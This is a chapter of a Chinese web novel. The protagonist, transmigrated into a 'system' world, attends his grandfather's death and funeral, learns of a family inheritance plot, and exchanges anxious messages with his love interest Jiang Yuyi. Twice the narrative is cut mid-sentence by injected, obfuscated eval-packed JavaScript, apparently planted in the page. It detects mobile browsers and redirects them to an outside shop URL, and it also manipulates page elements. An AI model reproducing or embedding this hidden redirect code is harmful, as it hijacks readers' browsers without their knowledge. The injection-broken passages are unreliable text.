蒋余意笑容淡去,但语气如常:“什么事?要不要我送你?” “不用哥,我妈叫了陈、司机过来接我,应该在楼下了。” 蒋余意站定,严舒下意识抬头,又立刻飘开视线。 “腿还好吗?”蒋余意问,“我扶你下去。” “不用不用。”严舒觉得太折腾蒋余意了,“我好多了,就几步路,有电梯,没事的。” 蒋余意还要说什么,严舒已经一个大跨步,蹦到门口,挥手:“拜拜,哥,我走了。”他想起什么,准备回头像往常一样给个飞吻—— 砰!大门关上了。 蒋余意彻底没了笑容。 桌上的早餐还散发着热气,两杯豆浆各占据一个位置。 蒋余意深吸一口气,压下心头的情绪,自己坐下来吃。 - “小少爷。”陈叔看到远处单脚跳的严舒,连忙下车去扶,“你腿受伤了?” “不碍事,就打篮球划伤了。”严舒笑笑,“单脚跳快一点。” ——主要是瘸着走不美观。 “哦哦,好,您小心。” 车子平稳行驶,严舒眼见周围的景象从喧闹街道变成幽静大道,尽头最后是矗立在山腰的别墅。严舒刚下车,一个穿着旗袍、妆容精致、眼里含泪的漂亮女人扑过来:“我的宝贝——” 严舒赶紧扶住,心里咋舌对方的热情,对方看着也远比系统给的照片年轻。 “妈。” 周宁心疼地看着他的腿:“哎呦,受伤了怎么不告诉妈妈?如果今天不是妈妈找你,你都不准备告诉妈妈,对不对?” “妈,不是右腿,是左腿。” 周宁立刻换了一边:“哎呀,妈咪弄错了。” 严舒只能说:“妈妈,我们先进去吧。” “好好好。”周宁眼里是散不去的疼惜,哪怕严舒知道对方真正爱的孩子是原身,他也不可自控地感到熨帖。 他甚至有点愧疚—— ‘系统,原身去了哪里?’ 系统:【宿主,这是一个虚拟世界。】 严舒叹气:‘好的,我明白了。’ 他想到蒋余意,心里产生些许微妙的波澜。 “对了,妈妈,到底什么事?” 周宁轻轻叹口气:“你爷爷最近身体、哎,快到头了,他可能有预感,今天早上突然让严家的所有人回来,现在你大伯他们也在上面,到时你记得喊人。” 【原主的爷爷很早就得癌了,当时发现得早,一直吃药控制,现在控制不住了,爷爷不想化疗,打算顺其自然。】 严舒:“好的,我知道了。” 电梯到了五楼,走廊已经站了一些旁系亲属,走进房间,严舒的爸爸、大伯、小姑都围在床边。他通过系统的介绍,逐个喊人,最后站在严舒爸爸后面。 “爸……”他小声喊了声。 严霆明伸手拍了下严舒肩膀。 “人都到齐了。”严舒的大伯严章命扫视一圈,弯腰对严老爷子说,“爸,大家都来了。” 严老爷子微微点头:“辛苦大家赶过来……” 他一说话,感性点的小辈已经开始哭了。 严茹熙红着眼眶,跪在床边:“爸,你、你别走,我还想多陪陪您……我……” 严老爷子看着小女儿泣不成声,努力笑了下,很缓慢地说:“娇气,生死是小事,以后多来墓前看看我就行了。” 又是一阵哭声。 严舒低下头,沉默地绷着脸。过了一会儿,严老爷子说了几句话,外面进来一个律师,开始宣读遗产分配。屋子里的哭声变小了,律师的声音越发清晰,直到—— “什么!”董鑫悦失声,“为什么小叔……” 严章命呵斥妻子:“律师还没念完,安静!” 董鑫悦僵住,她抓紧手,看了严霆明一眼,又低下头。 等律师宣读完遗嘱,全程静默了几秒。 严舒心想:严老爷子还挺雨露均沾的,他这样的小辈也留了一份信托基金和成长金。 严茹熙擦擦眼睛,试探地说:“爸,为什么英隆、碧琪这两个公司都给二哥啊?您也知道,二哥在商业上……”她停顿一下,“不如让大哥接手,未来的发展会更好。” 严老爷子淡淡地说:“霆明确实不擅长经营,所以——”说完,他看向严霆明,“霆明,我给你找了几个职业经理人,你不要自己折腾了,真闲着没事做,你那几个酒店玩玩就是了。” 严霆明有点不好意思:“好的,爸,那酒店已经破产了。” 严老爷子没说什么,又对严章命说:“章命,好好努力,我希望有一天,运业能在你手里发扬光大。” “好的,爸。”严章命低头。 董鑫悦气得不行,咬牙,恶狠狠地瞪了严霆明一眼。 严舒若有所思。 严老爷子又说了几句话,疲惫地挥手,让他们都出去了。 ‘那按照原来的剧情,原身家里所谓的破产,其实不算什么大事,为什么……’严舒皱眉,问系统,‘原身当成了大事,要奋起重振家业?’ 逻辑不通啊。 【这要牵扯到上一辈的恩怨了。】系统解释,【严章命分到的公司,基本是严家亏损严重的,除了个别几个收益平平,但老爷子最重视的运业给了他,其实是有很大期许的,也相信对方能起死回生。而给严霆明的英隆和碧琪都是严章命当初手里救活的,盈利很高的两家公司,考虑到的是二子没什么能力,不如找个职业经理人维持,让二子当个富贵闲人。】 【可惜啊,严章命表面顺从,实则在老爷子死后,找机会设计了严霆明,让对方交出公司。】系统顿了顿,【原身父亲无意去争,就都给了,决定老老实实花银行里的钱和信托的零花钱。】 【但你这大伯太狠了,找法子让严霆明欠钱,所以原身家迅速落败,几乎维持不住体面,要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“没,妈,发呆呢。” “脚怎么样了?待会儿妈妈叫医生来家里看看你的腿。” “不用……” “要的,宝贝。” “行吧。” 周宁满意地笑了,又问了严舒学校的事。严舒不想和对方对着来,尽力附和,最后对方掏出一张卡。 “宝贝,上个月因为一些原因,家里的资金暂时被冻结了,酒店在走破产程序,让你受苦了。现在已经没事了,来,拿着,开心地去刷,把之前没花的钱都补上。” 严舒哭笑不得,但考虑到原身的人设,还是接了。他模仿原身的说话风格,把周宁哄得开开心心。 “宝贝,就算酒店破产了,我们也有钱,你别担心。” 严舒心道:确实,只要你们不努力,一辈子富富贵贵。 纵观严霆明的经商之路,堪比败家子撒钱。 “好的,妈妈。” “那你在房里休息一下,要吃什么和池姨说。对了,吃早餐了没?” “吃了一点。” “那先出来吃东西吧,妈妈和你聊聊天。等看完医生,你去找下爸爸。” “好。” - 厨房 蒋余意吃完早餐,已经调整好心态。洗餐具时,他忽然想到昨晚…… 嗯,对方可能自己被自己吓到了。他作为年长的一方,要体谅小朋友的惊慌失措。 手机上,好友约蒋余意打高尔夫。他又点进严舒的好友框,停了停,划掉。 他和好友说好的,我现在过去。 蒋余意收拾好心情,换了身衣服出去。临出门时,他又想到了严舒。 不知道人在干嘛……到了发个消息也不难吧。 他犹豫要不要问,但终究不想当个还没名没分,控制欲就如此强的暧昧对象—— 毕竟……蒋余意苦笑,他上一段感情,就被说控制欲强。他不想重蹈覆辙。 16.第 16 章 严舒在严家老宅待了一天,原主平时估计都见不着的亲戚,全都凑上来打招呼,在系统的指认下,他一一打招呼,脸快笑僵了。 他本来想晚上走的,但因为严老爷子突然病危,一大家子人吃完饭,谁也走不成,严章命和严霆明去陪床照顾—— 说是照顾,但都有专业的医护人员,他们更多是起到一个象征作用。哦,还跪了几小时,说是祈福什么的。别说有没有用,病床前有孝子,严老爷子估计是欣慰的。 严舒本来也要去跪一下,因为大伯家的小孩全去跪了,但他有腿伤,就磕了头,说了几句祝福的话,放他回房间了。 【宿主,要不要给你治腿?】系统说,【你可能明天也走不了。】 严舒点头:‘行。’ 系统:【好了。】 严舒试探地走了几下,还真不痛了。 【伤疤还在,但里面已经好全了,等时间差不多了,我帮宿主祛疤。】 严舒不在意这个:‘不用,这样就行。’ 【好吧。】 严舒舒舒服服地洗了澡,出来卷着被子,感觉有手有脚的日子比较好过。 他看着天花板几秒,爬起来拿手机,滑开消息栏,空空如也。 蒋余意……在干嘛? 【主角受早上和朋友打高尔夫,下午去酒庄品酒,现在在家处理工作,没和渣攻见面,也没和渣攻打电话。】系统从被子里挤出头。 严舒:“……” “你别钻我被子。” 系统哼一声:【呦呦呦,你的被子只给主角受钻是吧?】 “正常点。”严舒无语。 【你要发消息就发呗。】系统坐在手机屏幕上,【你现在是追求者,有点自觉。】 严舒抿唇,没说话。 人很奇怪,没那么在意的时候,好像做什么都无所谓,但真在意了,反而有桎梏。 ——不,准确来说,他始终在意的都是蒋余意。区别是作为目标的蒋余意和他眼里的蒋余意。 为什么今天蒋余意不给他发消息……工作日是严舒轰炸消息,但只要到周末了,对方就会主动先给他发消息。 【你纠结这个?】系统好奇地问。 严舒:“……” “你回空间去。”他顿了顿,“不要出来偷听。” 系统白眼:【你自己出声了,怪我偷听。】它哼了一声,光点散开,回空间。 另一边,落地台灯照亮书桌,氤氲暖黄色调,电脑屏幕折射幽幽蓝光。 蒋余意单手支着脸,目光虚虚落在前面。 滴滴!蒋余意眼神微转,抬手点开邮件,他一目十行,快速给了回复。 空空的收件箱,点掉页面。屏幕的白色箭头疯狂晃动,拉出无数个蓝色方块。 蒋余意看得心烦意乱,松掉手里的鼠标,往后一靠,椅子的滑轮转了下,他拿了支烟,单手转动打火机,“咔嚓”一声,猩红的火苗在烟尾闪烁。 “呼——”蒋余意吐出一口气,烟雾模糊了他的脸,绰绰约约。 嗡嗡嗡!手机震动。 蒋余意一顿,斜睨着把拿起手机,新消息的图标闪烁: [严舒:哥!!!你睡了没?] 蒋余意垂眸,咬着烟,嘴唇压下一道凹痕。 [蒋余意:没。] 顿了顿,又发出一条: [蒋余意:在干嘛呢?] 对面秒回。 [严舒:在想你。] 蒋余意闷着的胸腔散开了,他站起来,把烟掐灭,去了阳台。 冷风拂面,人清醒了点。 [蒋余意:腿难受吗?] [严舒:还好,不怎么难受了。] [蒋余意:明天出来玩吗?不用动腿,带你去吃好吃的。] 这次消息回得没这么快了。 蒋余意皱眉,有点烦躁,尤其看着那个正在输入中的图标。 [严舒:暂时不知道。] [蒋余意:家里的事?] [严舒:嗯。] [蒋余意:有需要帮忙的吗?] 看到这条消息的严舒瞬间坐起来,心里感慨:果然,蒋余意是个大好人。做人这块,完全没话说。 他琢磨了一下自己这边的事,以及那个所谓的破产剧情—— 系统说一定要重视,那他还是找个机会捋一下,和蒋余意说了。 思来想去,感觉除了卖惨,没有更好的法子。至于怎么不动声色,那得花点心思了,反正不可能冷不丁一句哥我家破产了,然后流眼泪。 太傻der了。 [严舒:没,谢谢哥。] 蒋余意指腹抵着屏幕摩挲,不想说吗?他抿唇,连敲击的动作都变得谨慎而小心: [蒋余意:好,如果有什么事,都可以和我说。] 这条消息发出去,他犹嫌不够,加一句:“任何事情”。 [严舒:好的哥。] [严舒:天降爱心.jpg] 蒋余意点了点那颗粉红爱心,反复变大变小。他嘴角不自觉上扬,很快,他又让自己不要被一点暧昧冲昏头脑。 慢慢来。 对面多年轻,才二十岁。 他应该更加宽容,更加稳重。 - 严舒发完消息,睡前浑身舒坦,闭上眼已经想好明天的计划,不知不觉沉沉睡去。但半夜,他被周宁喊醒,迷迷糊糊睁眼,对方说宝贝起来,爷爷去世了。 严舒霎时清醒了,他坐起来,喊了声妈。 周宁:“宝贝,赶紧换衣服,送爷爷最后一程。” 严舒不敢耽搁,立刻换衣服。别墅内灯火通明,家族的人站满走廊,黑压压的一群人,都低着头,几乎没有声响。 人是半夜走的,悄然没了声息。严家遵照老人家的吩咐,不抢救,顺其自然。或许昨天交待完后事,和自己的亲人吃了饭,睡前也有孩子陪着,感到安详,就静悄悄地走了。 癌症会带来痛苦,庆幸严家有钱,减轻了这份痛苦,也延长了一段生命。 严舒默默跟在严霆明后面,房间里是请来超度的法师,时不时传来叮叮当当的声音。 等超度结束,下面等候运送严老爷子的人上来,所有人都退到两边。 严舒才知道,他们还得跟着一段路。周宁担心严舒的腿,他摆手说没事,可以的。 周宁欲言又止,严舒轻轻抱了下她,安慰说如果不舒服,他会说的。周宁亲了亲他的额头,目光疼惜。 严舒一怔,或许不应该,他想起了自己的母亲。 周宁温柔地看他问怎么了,严舒摇头,匆匆撇开头。 严老爷子希望落叶归根,他出生的地方不在A市,而是在一座偏远的滨海城市。因为风水师在严老爷子生前说过,海葬要慎重考虑,最终出于种种原因,他决定只在那座生养他的地方立墓碑,下葬的地方还是选了A市。 严舒听到这些,觉得生命着实奇妙。他回望自己人生,尤其年幼时常思考死亡,却没有想过葬在哪里。 现在—— 严舒看着天际朦胧,透出一点曦光,死亡并不可怕。比起葬在哪里,他更希望有一个人能记住自己。 谁能记住?系统?泛泛之交?还是他那个不省心的弟弟? 他不知道。 …… 这份多愁善感延续到中午,彻底断绝,严舒已经没力气思考什么死亡不死亡了。 有钱人还是命贵,连程序都这么多套。他看来简直是自寻烦恼,但死者为大,他只能保持缄默和尊敬。 撑到中午,各种繁琐的仪式需要严家直系人配合,转眼又是一个下午。 严舒这一辈不用守夜,能回去休息了。当他匆匆洗完澡,往床上一趟,生无可恋。他拿手机调了个闹钟,顺便给辅导员请几天假。 蒋余意的消息……严舒恍然发现已经过了好几个小时。他按按额角,有点懊恼。 [蒋余意:吃饭没?]晚上六点的消息。 严舒叹气,没吃,那时候还在拿锄头挖地尽孝心呢。 他不习惯倾诉辛苦,非必要情况,也不喜欢让人担心。或者说,他可以让别人关心他,但不希望真正遇到困难抑或难受的时候诉之于口,让别人给予关怀。 【宿主,这是个好机会。】系统出现,【你可以借机卖惨,然后……】 严舒拒绝:‘别,人死了就让人好好地走,我这么做不太好。’ 系统不解:【这是一个——】 ‘虚拟世界。’严舒瞥了它一眼,‘我知道,一个我可能会死的世界。’ 系统抓了抓头,不太明白严舒的意思。 严舒哂笑,他该怎么和机器人解释: 世界是假的,人是假的,但我是真的啊。 亲人离世是一件很难过的事情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16459164|185002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严舒深有体会,因此保持敬畏。 如果是自己的死亡,严舒很乐意去利用。但这是别人的死亡,哪怕是所谓的虚拟,他也想去尊重。他不喜欢把情绪和问题带给别人,他想事情结束了再简单解释。 同时,他知道蒋余意是一个善良、有同理心的人。对方一定会担心他,绞尽脑汁地安慰他。但他知道,他没有这么难过,他不想辜负这片心意。 系统:【好吧,宿主,人类的情感真奇怪。】 严舒没说话,低下头,慢慢操作手机。 [严舒:嗯嗯,吃了。家里出了点事,没及时看手机。] [严舒:晚安月亮.jpg] “系统,之后几天蒋余意给我发消息,你提醒我一下。” 系统:【好的。】 …… 睡了不到五小时,凌晨四点钟,严舒打着哈欠起床洗漱。 他下来的时候,严家的直系亲属都聚在客厅,大家喝了一碗稀粥和吃了三个素包子,就一起去跪严家祠堂了。 ——说是帮老爷子在鬼门关前积阴德。 因为严舒有腿伤,只跪了一小时,就去隔壁点了九百九十九杯冥河灯的屋子,给严老爷子抄《往生经》。抄了大概三份的时候,系统提醒他,主角受发消息了。 严舒的手机没带进来,问系统发了什么。 【好的。有事可以找我。】系统用深情款款地语气说。 严舒:‘……’ 他嘴角抽了抽,没搭理这个抽风的机器人。同时再一次感叹,蒋余意是大大的好人啊。 - 蒋余意恨世界为什么没有读心术。 他发现自从那晚过后,严舒的态度肉眼可见的冷淡许多。 周末一大段的时间几乎没有声息—— 好,家里有事。他能理解。 但之后,连续几天的工作日,对方不复往日的消息轰炸,以前学校一点鸡毛蒜皮的小事,这人都能说一天,早中晚就没停过。 晚上的电话,也被对方以忙为缘由,连续中断两天了。 蒋余意开始反思,是因为曾经他没及时回吗?对方的热情被耗尽了? 他承认,一方面是工作忙,另一方面他不想显得自己像上赶着的。或者说,他不想自己太在意了,哪怕那时候恰好看到消息,也会迟个二十分钟再回。又或者说,他发现自己太想对方时,会故意克制情绪,有意冷却自己情感的温度。 而现在…… 蒋余意按了按眉心,觉得不能这么坐以待毙下去了。他希望解决问题。 另一边,严舒还在补觉。 连续三天,他十二点睡,五点起,跪祠堂、抄经、磕头、葬礼迎宾……就是铁人也扛不住了。 他有时候眼冒金星,怀疑下一秒要猝死。每次被系统提醒回蒋余意消息的时候,他看字都是重影。 【宿主宿主宿主……】系统小声喊。 严舒翻了个身,含糊地说:“什么、事……” 【主角受发消息了。】 “你读,我回……”严舒半梦半醒。 【咳咳,好,第一句:小舒,我最近挺想你的,在干嘛呢?】 “在想你。” 系统立刻帮忙写消息。 【第二句:你都不怎么找我,我找你也不回……】 “哥冤枉,每条都回,最近忙,之后和你说。”严舒揉了揉脸,想要自己清醒一点。 系统奋笔疾书。 【第三句:能告诉我为什么吗?】 严舒打哈欠:“回了,不用管,继续。” 【第四句……】系统说,【还是说一切都是我的自作多情?如果是的话,我们可以退回去。】 “当然不——”严舒清醒了,蹭地坐起来,他拿过手机,眉头拧成死结,喃喃,“不是哥,我就送葬了几天,怎么还把我们的爱情给送葬了?” 爱情?系统歪头,发现宿主这人特别有意思。平时嘀嘀咕咕、犹犹豫豫,但主角受一出现,就自动站在对方身边说我是你老公了。 【宿主,你还没追到手,没有爱情呢。】 严舒:“……”他屈起手指,把肩膀的彩虹小人弹开。 手机又是一振。 [蒋余意:我希望我们能谈谈。] 严舒长舒了一口气,果然,还是成熟男人好啊。 遇事的第一反应不是解决他,是解决问题。